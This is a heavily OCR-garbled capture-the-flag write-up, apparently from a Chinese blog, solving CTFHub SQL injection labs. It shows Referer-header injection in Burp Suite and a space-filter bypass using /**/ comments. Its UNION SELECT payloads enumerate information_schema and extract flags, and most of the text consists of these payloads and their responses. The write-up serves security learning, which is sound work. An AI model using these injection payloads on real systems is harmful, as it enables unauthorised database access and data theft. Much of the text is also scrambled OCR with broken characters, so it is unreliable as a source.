<p=itifireferertii AID</p>
<code>select * from news where id=1D=-1 union select 1,group_concat{column_name) from
information_schema.columns where table_schema="sqli' and table_name="bamthljvfh'</code></br=1D:

1</br=Data: Ipcutzivzu <fdiv=
</div>
</body=>
<fhtml=
=
v
? < + > Type a search ferm 0 matches

CSDN @ik Sk

yied] | Hiedinis

[Target T Proxy I Spider I Scanner I Intruder IRepeater T Sequencer T Decoder I Comparer

I Extender T Project options I User options TAIerts ]

1= ..
Go >|v

Cancel < |v

Request

Raw | Headers | Hex

Target: http://challenge-db9a67416dd93534.sandbox.ctfhub.com: 10800 [EJ EJ

Response

Raw | Headers | Hex HTMLIRender]

GET /HTTR/1.1 o
Host: challenge-dh9a67416dd93534. sandbox. ctfhub. com: 10800 i
Referer:|D=-1 union select 1 ,group_concat(\pcutzwzu' frarm sqli.bamthbljvfh
Cache-Contral: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4, x64) AppleWehKit/A37.36 (KHTNL,
like Gecko) Chrome/94.0.4606.81 Safari/537 36
Accept
text/html application/xhtml+xml, application/xml; q=0.9 image/avif image/fwebp image/apng
rq=0.8 application/signed-exchange)vw=h3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9 en-US;q=0.8 en;q=0.7
Connection: close
=
v
? bJ + B Type a searc 0 matches

HTTRA 1 200 Gk :
Server: openresty/1.19.3.2
Date: Sun, 17 Oct 2021 16:14:32 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 706
Connection: close
K-Powered-By: PHP/7.3.14
Wary: Accept-Encoding
Access-Control-Allow-Origin: ™
Access-Control-Allow-Headers: X-Requested-With
Access-Control-Allow-Methods: *
<IDOCTY
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CTFHub %% 5 | Referit A<ititle>
<link rel="stylesheet" href="static/bootstrap. min.css">
<script sre="static/jquery. min.js"></script>
<script sre="static/popper. min.js"></script>
<script sre="static/bootstrap.min.js"></script>
</head>
<body>
<div class="container">
<div class="jumbotron text-center"s
<hl=Referii A</hl>
<p=ififErefererifi AID</p>
<code>select * from news where id=1D=-1 union select 1,group_concat(lpcutzivzu) from
sqli.bamtbljvfh</code=</br=1D: 1</br=Data: ctthub{5daca9d5092ce9e926ccelba} </div>
</div>
</body=
</html=
=
v
liJ liJ u u Type a search term 0 matches




JUR Rl "3
R TACBERRY, A EER AR, XRESQLTIE
EHENSIREIHacker! ! !

D A

Hacker!!!
CSDIN @k ZE iz &/ iy

WAEMEE—T, KI/EARE S
BH R BRI TR : // #. %09. %0A. %0D. %20%, BHIWFAAAT Ho At B F w1 LR IR

-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

ID  -1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

ID: 1
Data: information_schema,mysq/,performance_schema,sqli

CSDN @it s= s ) e

1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema

="sqli’



LS L g
—_I'\ ~,"='-t:./\ 2
R v

ID | -1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema="sqli’

ID: 1
Data: hgwbgzhrvb,news

1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_sche

ma="'sqli'/**/and/**/table_name="hgwbgzhrvb'

cih

LSS

D fiadid?

ID: 1
Data: jexeopegef

B
Iy

-

5
AT
™

B v

CSDN @

'-1/**/union/**/select/**/1,group_concat(jcxeopegef)/**/from/**/sqli.hgwbgzhrvb'

TIEEStS
D Ediag?

1D: 1
Data: ctthub{fd7d37f4a5f03a7b538d7cal}

CSDN @z SE ) s\
MREAEFHEEN, XEBE W Hpythonfreplace /i, JE¥H #iH:

33 “union/#*#/zelect/#*%/ 1, group_concat (column_name)/##%/from information schema. o

olumnz/ *# where/*#*/table_schema=" sqli’ /*#/and table_name="hgwbgzhrvb’ *. replace(’
VAL TAD]

“union/*#*/ zelect/*¥/ ], group_concat (column_name) /## from/+*#*/information_schema. co

Tumns/*+ where/**/table_schema=" zqli’ /#+/and/**/table_name="hgwbezhrvh™*

»»» “=1 umion zelect 1. group_concat (joxeopegef) from =qli. hgwbgzhrvbh”. replace(’

EAVELIAS.

! —lfl**funinnf**fselectf**f1, group_concat (joxeopegef) /** from/**/ zqli. hewbgzhrvh’
)

ARG R
(FFEEFE Fring...)
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